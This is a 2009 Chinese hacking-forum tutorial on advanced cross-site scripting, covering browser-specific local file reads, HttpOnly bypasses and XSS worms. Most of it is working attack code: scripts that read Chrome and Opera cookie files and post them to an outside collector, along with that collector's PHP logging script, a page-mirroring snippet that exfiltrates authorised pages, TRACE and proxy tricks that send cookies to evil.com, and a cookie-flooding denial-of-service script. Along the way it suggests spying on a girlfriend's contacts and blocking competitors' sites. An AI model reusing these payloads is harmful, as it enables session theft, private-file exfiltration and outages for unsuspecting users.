XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑

  d* f3 B8 o- x$ l+ g5 o- eXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
7 j  H+ |2 q3 C2 Z  T6 a( K/ UBy racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
9 z# [2 \! P; _# q转帖请保留版权
# H: U. A: ]% y/ Z- i+ R# ^0 `2 c6 g

* o5 u. n; i+ Q4 J: h# y5 v" B, a% S2 b
7 T8 p% |. {0 i, g; X1 r( i9 A-------------------------------------------前言---------------------------------------------------------

) q# m. I# W; @* z( ~
本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
2 b  N7 k: _, L6 H* X6 z6 Y

如果你还未具备基础XSS知识,以下几个文章建议拜读:
4 e* E. r, q3 q/ o0 H2 mhttp://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
3 v- ^; k7 {5 p* K* ehttp://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持
  S3 h: F" b" t0 m, Z  C8 Z

$ }# Q+ l: P' r3 j$ S

" j0 |' V; g% C3 J6 K1 A5 j0 U- _如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
* R% W' _2 S0 y( A
( [4 z1 R: g4 C希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
6 M; }# ^6 M1 T* i
如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
+ U/ }8 p% J( D' E$ L% k
Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
; l# B- T2 i& z) \7 P+ c( D
QQ ZONE,校内网XSS     感染过万QQ ZONE.
2 q1 M2 ?* [5 M7 |' h
OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

, ]# P" X7 D9 }/ N..........
复制代码------------------------------------------介绍-------------------------------------------------------------

" @2 g/ |6 c. n9 O2 Y7 ~什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.


' u6 r2 z% H, o; |" N  O$ B
. i' C4 U7 `8 s7 y: N跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
. ?1 ~6 R# n+ X& x. ~. \

) B& q2 w% Z/ x7 v# j4 r
如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
2 q3 Y1 D* v4 f) ^我们在这里重点探讨以下几个问题:

1        通过XSS,我们能实现什么?

2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
; r! }, x4 E5 s: C
4 a7 w" M. m/ L( r* X8 i. N3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

4        XSS漏洞在输出和输入两个方面怎么才能避免.
: G- }1 M. @" X" t8 O) [. h
, w- J; W6 w' s' ?
# l" X% A9 }) J6 C& Y2 e4 |- q5 i# \6 b
3 s! U1 p- k5 c" n: ~; b4 G------------------------------------------研究正题----------------------------------------------------------
! S$ d6 H5 I+ H+ D/ J! A
- y) g2 J7 K4 a/ I, k2 N; u

# k; j/ S1 B0 ]2 n通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
. Y4 f( i! y4 ^! z复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
$ o" H- c. \7 W+ w1 @- t- A1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
0 I  G2 C2 ?8 T, ?( ]  S3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
2 O# v. `. q! w4:Http-only可以采用作为COOKIES保护方式之一.
  _* q! v3 f7 t; \! y$ ]' P/ {1 \0 |
/ T! h7 @# i8 j% S& [8 n% |7 z
7 B2 D  E# H  ]" s; e5 M
% Z0 t. y8 m; C1 F$ U) x
" ~# `. ?( G. Y
2 D7 p: n& H' k2 r; k0 U0 V- L(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)

# N# p" g! I) U2 W我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
# O7 s4 B' R4 Y, F! d- c
2 |. B/ A2 k% o: G) z

! J( D9 r# i, `1 }+ x6 s, {1 X    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
3 \9 [( V/ B3 x/ K( m$ y: J( e
: T; i2 g2 {1 ^8 q* `) \

% [- M( U% w/ W6 t2 Y/ x" X    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。


6 m( T9 R0 s8 x6 v: w: ]
    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
( n& K7 k# d2 t4 Q! o! N9 l2 y! N复制代码IE6使用ajax读取本地文件    <script>

    function $(x){return document.getElementById(x)}


8 [8 P0 h7 S" q
    function ajax_obj(){

2 E9 {4 p) [5 U2 Y5 C+ N& P    var request = false;

* ^. u( o: m6 k; k) B/ @    if(window.XMLHttpRequest) {

4 H9 |0 C; w5 _3 A4 K$ q    request = new XMLHttpRequest();
- v: c- l1 W) k  E# d
# f4 W- P; A. D5 @  q, ~; H    } else if(window.ActiveXObject) {

& `$ z; g! d3 z% B; a* k3 Z    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
( t6 \1 M0 u  ^
- t& o& e! i; ^1 x. m
  k: n& e) Y! K% ^7 Y
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

    for(var i=0; i<versions.length; i++) {

" A$ ^2 J6 p" Z! p0 W    try {

, s3 f  G3 T6 j0 n, t) {" t+ U+ u    request = new ActiveXObject(versions);
8 q& T1 m8 N6 m! }
& I$ D8 W* {% G! f8 r    } catch(e) {}

# {, b) |# o' [    }
5 o, R1 Q, l3 h* w; t: x% m
# n& {- z! F1 K8 P: X" [    }

    return request;

    }
  X1 m! G; }5 k, `8 ]' q8 q" ^
; ?: Q# b$ y, y1 T    var _x = ajax_obj();

    function _7or3(_m,action,argv){

/ r0 A" H* D3 ^: A    _x.open(_m,action,false);
5 s$ G2 u8 p% X4 h
* w5 l* M9 {# O    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
* ~2 s) J. ?1 F: W3 d, u# L- o
    _x.send(argv);
( K( e- q( w$ |% R% L2 x
    return _x.responseText;
3 Q$ S# E8 g5 ^7 N
    }



    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
( B6 }; t7 ^/ P3 R
# m7 O" U, k" @$ R3 |3 ?- H5 N    alert(txt);

# b, }0 Q/ U, C1 b; u( ?) E
5 M2 ~+ ~7 y; ]3 _% M8 M" I4 L  M
" ^' E7 M6 m* D    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
! A7 X% C& F& I* s  `5 F2 \
    function $(x){return document.getElementById(x)}
8 j9 w' y# U2 r5 \- N

8 K5 J% ?5 P& g6 Q+ \
    function ajax_obj(){

1 C& x0 \3 O+ x+ J2 p    var request = false;
2 N% b/ t, e! p" i( V" P
    if(window.XMLHttpRequest) {

8 u- q+ e+ c5 {& T$ Q% ?    request = new XMLHttpRequest();
. [7 Z5 U, Z- w  c5 J3 x; [
    } else if(window.ActiveXObject) {
2 n7 n2 N( u; y: R
- {& [$ c) a' J- y9 x    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',

6 O  s) [7 C+ Z/ Z4 Q5 @

    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
7 c% g+ r! \1 j$ ?
    for(var i=0; i<versions.length; i++) {

7 ?+ j1 x' O7 w9 Y5 ~( K    try {
3 T4 l7 e' _) a7 f
    request = new ActiveXObject(versions);

    } catch(e) {}

    }

4 ?6 n9 |0 ^- i" |# q2 S    }

    return request;

    }

4 M$ @4 n! c* G- w    var _x = ajax_obj();

    function _7or3(_m,action,argv){
& J- K& ^/ O0 V9 K+ K
    _x.open(_m,action,false);

    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

3 ~( [& u$ |( S6 d9 `! p# o  T    _x.send(argv);

    return _x.responseText;

! \3 k+ y4 o' q- t! [! i- C' M! F    }



    var txt=_7or3("GET","1/11.txt",null);
! y+ z8 L( T; [* `  \" D
    alert(txt);

' ]' W) [( b% w+ G5 s
5 g2 i# U. a9 U" g& Q
    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
# Q2 W1 O2 T# D, ~: Q- S1 U9 |9 K9 S
# m% x  j/ g5 W1 u: a3 N
+ r4 E: E0 B) B, U; v) C
Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"

/ q7 O1 ?) v. Z$ J- @6 D  B

<?   

9 d7 u: A' r5 c0 _; J# i( \/*  

     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
$ \) R8 k9 ^' }
6 G) N; Y, }' C     www.inbreak.net   

     author voidloafer@gmail.com 2009-4-22   
8 n/ {$ r  q0 ~- Y. t) G
     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
" L- C, \/ M* P3 V& K
*/  
) e  b8 `6 G8 I4 E
) w4 @0 S: l7 J$ w4 {& L; \& Qheader("Content-Disposition: attachment;filename=kxlzx.htm");   

( D) @; n3 k  t: B2 ]- K- P$ d5 I/ |header("Content-type: application/kxlzx");   

4 X- ^( C  A2 F2 x5 Y/*  

     set header, so just download html file,and open it at local.  

0 M4 f5 d- M9 L- I; }: [*/  

?>   
1 h/ G5 {8 u& x$ _1 g
/ j2 F9 f1 g, z<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
* M& ]/ D8 `( J% i5 O& ~
: K1 C$ `1 w( p" J$ L4 ?     <input id="input" name="cookie" value="" type="hidden">   
' P% y) O# c' q$ J+ t& G2 [
/ Z; d9 `( W- g5 P1 ]% v, a</form>   
3 c) \9 r% f. F
<script>   
1 }; k/ ?- |2 z  h, m/ W
# |- s' ^* z) O- h6 wfunction doMyAjax(user)   
; r( Z6 Y/ ~5 L) o* A8 M0 v
{   

' |! g% ]7 w! O; ]var time = Math.random();   

/*  
$ J. ^3 U, `  r2 l  P2 F
6 b& ~+ y; j* S, R( f" ~the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
, J5 h! Q; Y; _) [
and so on...  

*/  

7 ?' p' Y1 t" |* m; f1 x3 ovar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
7 c2 d0 K5 \: A) I% f/ o) z1 w
   

& w- T, I2 p- ^" i2 `8 J; GstartRequest(strPer);   
! Y. @: ]2 Z4 x" |1 T- d* l
/ C2 }9 x/ R5 r  P$ Q) s

}   

! R  h8 m7 T4 x7 S) Z   

function Enshellcode(txt)   

' c  G2 {4 y2 V3 [- p! K{   

9 b# D! G; r  H! s( _var url=new String(txt);   
$ ?5 I  ?: {; i: g5 Y, I
+ V8 [) [* {5 \$ u! gvar i=0,l=0,k=0,curl="";   

l= url.length;   
* @6 {4 S/ v7 t: w; _2 ?, c
- E; c+ J0 T- G3 i, F( Zfor(;i<l;i++){   
9 e. T3 i$ Y0 ~2 c/ q3 q
k=url.charCodeAt(i);   
) A5 C6 i: h: c; A# {3 N
2 b7 F1 i1 r, M% q3 {2 m9 \% d7 R& `if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   

if (l%2){curl+="00";}else{curl+="0000";}   
5 j, K/ x) x# K# r/ ~% A
curl=curl.replace(/(..)(..)/g,"%u$2$1");   
3 o) c2 c! }# {8 C6 q
return curl;   
5 ~9 s1 `) M" E. k
}   
+ K, l5 S9 S$ R- @! ?( T
   

# H8 }' j& V: W( n. j; r7 {- P5 s   
; O1 ^8 c' ]6 S6 ]# X6 T
var xmlHttp;   
. S6 R% K2 s/ q0 K4 y6 ?
function createXMLHttp(){   

0 f3 B1 B* s7 b6 S     if(window.XMLHttpRequest){   

) u1 I4 A# {" \8 X: ^; HxmlHttp = new XMLHttpRequest();           
9 q8 m9 ?  g3 y0 h3 w
0 _" a5 D4 G0 F& z     }   
* K% ]9 D% ]8 L) v1 o
6 ^2 y6 m) |3 @' ^- t% u( w     else if(window.ActiveXObject){   
# ~, s# b) S( N% o& |
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

     }   

1 ^4 ]( `4 ?  Y8 d; s& B9 H1 [" t9 N}   

, D6 i, n/ N( |8 X, O2 x4 X! a   
3 j$ ]$ F* n# s, b8 _1 W
& y& _- e: C) D4 [function startRequest(doUrl){   
. X# s% S/ p0 }* n
2 y6 w" E6 Y; h) _! b   

" k1 ~- Q" W8 @     createXMLHttp();   
/ Y' X* s# [' w" ]  I) a0 u
  `1 B, i+ V, X4 `" o

     xmlHttp.onreadystatechange = handleStateChange;   
# f. O! [9 A) H% `7 p8 u# C

1 m) R# D+ t) U% V
     xmlHttp.open("GET", doUrl, true);   
! c- t; l# t& S; L, u$ H
& [/ g" s# e% H9 l" m7 C
4 G$ a2 b( M& W) o; S5 {
! [4 e' k6 B3 M$ K5 W7 ]  k     xmlHttp.send(null);   
3 I4 S9 p9 l  q6 [3 ?
2 n( o+ o! u; I


& x4 X2 e( l/ p
}   
( p; r) N8 @  A
   

function handleStateChange(){   
$ {/ k. F4 O  f
3 {( U$ D0 h9 a( u. q! n     if (xmlHttp.readyState == 4 ){   
1 {  c9 S; H% S* n0 E
     var strResponse = "";   
( ]! \( O% r3 g. ]5 N
, v6 k* L( [" N  K2 `     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
+ p9 y# u* g0 k( X. e) G
/ X) G* B1 ?0 c8 W* k. l        
: B4 B  Z, [* M8 X/ S
! `; g& a: a$ ~/ ~     }   

}   

   
( `  a: t  Y. o; K+ Y9 c
   
3 L. y# G4 x! F7 a
+ U/ l; K$ G/ `2 w& Vfunction framekxlzxPost(text)   

{   
" P0 k: F; N* I9 N# h
     document.getElementById("input").value = Enshellcode(text);   

# {/ w' o0 a, q     document.getElementById("form").submit();   
% w- s' }7 c- R7 y) J8 Q" `
% x& W4 Y5 h0 h3 X}   

# v# y9 }6 F; X( H4 K  a1 M* D   

5 {/ n4 J2 {$ c! R( u( c; ldoMyAjax("administrator");   

   

( `* }! r4 f9 ?7 F</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  

var xmlHttp;  
" X& P! P) Y  e0 Q
function createXMLHttp(){  
, x) @- @4 t6 P- p
8 {3 e  t& U% }5 a# d     if(window.XMLHttpRequest){  

         xmlHttp = new XMLHttpRequest();         

     }  
' s5 l; v& i- j: Z3 B( }" P$ y
     else if(window.ActiveXObject){  
0 @' f4 H3 m7 L6 w1 e! ^+ `& b
2 i& z- a/ D; x7 D6 r4 n) p         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
! L3 d. ]" o- f4 r5 b7 H
     }  

}  

& N. a! z5 {& p, {/ J; }   
+ D& Y. U- o! |) H+ p
  g% A/ F1 k9 \7 i* G. e( Nfunction startRequest(doUrl){  
9 ~) n( [2 F' k, Q& N
           

2 m$ Y0 j* r% |     createXMLHttp();  

      
6 L* v9 P2 s1 Z: Y) j  a
# m3 A! H& h' h     xmlHttp.onreadystatechange = handleStateChange;  
9 V5 Z1 X) `9 ~! t' N- A* \
      

/ K) R! h; ^9 U7 j     xmlHttp.open("GET", doUrl, true);  

      
+ k; U8 s3 D% ?% x" F4 k
     xmlHttp.send(null);  

1 [( R4 h% [# T/ z. A7 h      
7 o# s4 z9 ]  g
0 b& C/ G/ _# u" l& y      

/ E! t% n) b/ n}   

2 W: Y" y7 F3 w% q! @8 g' }* e   

' i8 f! Y; G+ D6 ~2 v. sfunction handleStateChange(){  

     if (xmlHttp.readyState == 4 ){  
* C9 C/ q" T0 f6 c/ `/ z
$ @& _! U* l) h9 f6 J1 J             var strResponse = "";  

             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
  M) O9 ~, _* t! ^7 t
+ R$ n3 {" g; ^0 D! n: f               
5 w8 ]- i1 l) J1 g
     }  

}  
" Y6 p* K: e. c" R5 t4 ^
' _9 q) K$ d- S: a; E   
, K  d1 f, s& L
) `* J, N( O; ofunction doMyAjax(user,file)  
( p4 F3 W, d6 T8 A) b" e
{  

9 P5 U) f& E1 a3 k- t7 j, M         var time = Math.random();  
/ Q, D7 ^: C8 G! z. V
7 y$ _7 ]' W% B$ q0 e- k           
1 ]+ k7 {" Z6 {2 w5 m( e! i4 }
6 \* m7 b# V7 |         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  
5 b! p; d; z  \; T4 \& x
           

         startRequest(strPer);  
$ n2 j) S5 t! C2 m
+ D) g% G% O: C7 r      

}  
/ U' \) s. S, A
   

3 |) ?1 i8 i' O% d, I4 }function framekxlzxPost(text)  
6 i4 b0 e/ c8 J: D
{  
0 G. ~; R- ^) o' b& n  c( E" O# S
( K0 Y# k, T. s/ X$ M" p+ E     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

     alert(/ok/);  

}  

   

doMyAjax('administrator','administrator@alibaba[1].txt');  
) n$ Z2 X, s0 M
   

</script>


$ h5 J" r  b, w% O9 l: U6 T- X* @
) h( q$ B, Z: K# U5 Y' S2 m& k

a.php


1 @0 A+ e; d/ ?( h
: ?0 R5 M1 _5 m, {+ u<?php      

   

$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
: p/ Q" y( _' B8 s/ x2 ^2 B
$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

& i2 o/ U$ l$ y! r; C  

$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
' o: n& g% ^6 i6 G: P
fwrite($fp,$_GET["cookie"]);      

fclose($fp);   
' w# y+ ^2 Q0 s  b
?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
  z1 O# y7 j2 ^( A
或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
3 \3 J, S  J# F  [  o利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
$ f; M1 z2 _1 A3 l- S" ]
9 L9 ~) n0 e4 F4 h' c代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);

//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

  J+ w% {. g# \+ d/ a//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

function getURL(s) {

$ \  U7 J% p$ b& U6 Hvar image = new Image();

' a. O3 Q2 e% z$ z8 P( Timage.style.width = 0;

image.style.height = 0;

1 S+ w7 m5 Y" Qimage.src = s;
) k; ^$ x6 U  X6 s; K
}
5 O1 L8 q6 f- a5 _4 g7 T
getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
% X! q9 ~7 V3 T! V. D  I" b, T8 ^复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
这里引用大风的一段简单代码:<script language="javascript">

; _, o3 N# P. b$ S5 ~var metastr = "AAAAAAAAAA"; // 10 A

var str = "";

: ?! W5 Y7 j# W* X% o$ Nwhile (str.length < 4000){
8 ]3 i, R" y7 E
    str += metastr;

}


1 V4 G. S& n+ b& Y4 d* Q( ?
, u* Y1 _7 w; |4 S* }5 _2 `2 ldocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
/ L6 I/ d' h% U* N; F
</script>

; a: g4 y, k, U0 Y. a! G& ^) p详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
1 C8 x$ I8 [7 P7 Z复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
5 }: k$ c' V" w3 |) |" s* ?攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
0 s( e# V- t) H
4 c2 i# @+ U7 i1 O& q" \
4 u( V, a) S, e4 x0 m

; C  O' l+ j3 R# L5 ?. J

(III) Http only bypass 与 补救对策:

什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
; R8 U( V' {* V+ h9 w
3 D( U) J8 V6 `) p6 M<!--
3 r3 r0 D  A+ x
function normalCookie() {

$ G9 U! k* e! b& {: ^" odocument.cookie = "TheCookieName=CookieValue_httpOnly";

  U& v# G% K' R( Ealert(document.cookie);

+ n+ e& w0 C. z5 R' i5 p' ^$ }5 k}
: n$ q' ~7 e9 I. e/ z4 G

! w. `4 M* {  o$ ]8 Y$ h, F7 r
; k5 R9 D* b  g* e

function httpOnlyCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
1 _2 r9 R" q  @6 d
alert(document.cookie);}


7 m" m8 F; S. L+ q
$ U$ ~/ x- P4 t" Z3 F//-->
- H+ z1 J: s/ n; n
" l7 F6 w+ R  e</script>
) J' U5 U* F1 W6 h$ P
; h. F$ H4 D6 r( |; \3 I: t

<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

5 I2 e: @' u/ B) Y8 m8 h+ R<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>



- k' w* j* v+ V  e( P( V( Dvar request = false;
. J+ ]" r: Z( x! Z. }) y- M
        if(window.XMLHttpRequest) {

            request = new XMLHttpRequest();

' x0 L# Z9 N) m: T$ Z; q            if(request.overrideMimeType) {
$ s* D+ ^! @# D0 d% `
                request.overrideMimeType('text/xml');
% ?$ ~( V$ {2 x( V7 Z
$ t; ?* ^- ?; F2 Z! b            }

1 M, T' }' E9 k3 e4 V        } else if(window.ActiveXObject) {
, T. U! Y* \8 g1 c: ~+ W% y
/ |7 t& j8 J9 r, O  H5 q+ E: z            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

            for(var i=0; i<versions.length; i++) {

! T9 o* y7 N$ {+ M                try {
' a% l6 P: |, U8 ?* P
/ z. S( X: Q/ @9 u                    request = new ActiveXObject(versions);

                } catch(e) {}

( s; @0 N" f9 ?- g/ f            }
& A$ O( r" w8 U% y' B3 G4 B3 [
        }

xmlHttp=request;

0 |" r/ u# `6 p! e) I3 X0 l7 a  OxmlHttp.open("TRACE","http://www.vul.com",false);
/ w* @7 F: ]* W9 q
xmlHttp.send(null);

  p' R) x8 z0 d- T. VxmlDoc=xmlHttp.responseText;

alert(xmlDoc);

</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
/ d' W! B6 f" _" @, C9 F
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

5 f" o" J8 F9 H2 L. @XmlHttp.open("GET","http://www.google.com",false);

XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);

8 V4 V: G9 C9 @2 r! F; D2 ~4 m6 Nvar resource=xmlHttp.responseText

% L, R4 ?8 s3 W; _2 u, Oresource.search(/cookies/);

' O5 Y; D' }8 p% T- p0 g. c( p......................

( `. \; c" P. R  o( I0 w</script>
9 o5 h9 w. Q- f1 A" h9 y
' b$ ~. P0 N/ N7 O, P6 {( A) ^% d1 q8 s

1 q( _3 L9 U# C( F" u2 K, ]3 P  x
% A6 Y9 `4 W2 x" u( j
% `$ q+ V" K9 ]如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
5 J0 }1 M# l1 Y' I
[code]

8 q6 s8 `& t4 f4 e7 O4 J6 w' o6 LRewriteEngine On
: O: A5 b) h, a, P4 v$ d
$ y( O4 [. H9 [RewriteCond %{REQUEST_METHOD} ^TRACE
; q6 o! u% H+ C* ~
RewriteRule .* - [F]

$ i1 P& _5 }. N; A6 E- \

6 C3 v. N4 M9 z1 Q- C) ~1 w7 sSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求

acl TRACE method TRACE

: c' B: V+ U/ w6 t...

! F  z2 k  Q9 k  g: D/ ~5 uhttp_access deny TRACE
, O% o" A5 p! O. v/ ]复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>

  B8 |4 k/ `, Qvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
7 u; w" [3 U4 \0 ^. _. b3 S
XmlHttp.open("GET","http://www.google.com",false);
0 v, H! q, p( P* ^9 {
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

5 z; g3 |. Z+ Z+ U7 d& L" XXmlHttp.send(null);
" n1 q0 T4 E+ f! d
. e8 |2 P- h- W* q% X/ h3 v7 F4 q</script>
; r; [/ W- P- O. k2 X7 R( u复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

! [, V  P/ V7 @# {- X  ?

XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

XmlHttp.send(null);
2 N3 W* Q' q6 u2 w" r
, w" e* L: G! K$ {8 a<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
复制代码案例:Twitter 蠕蟲五度發威
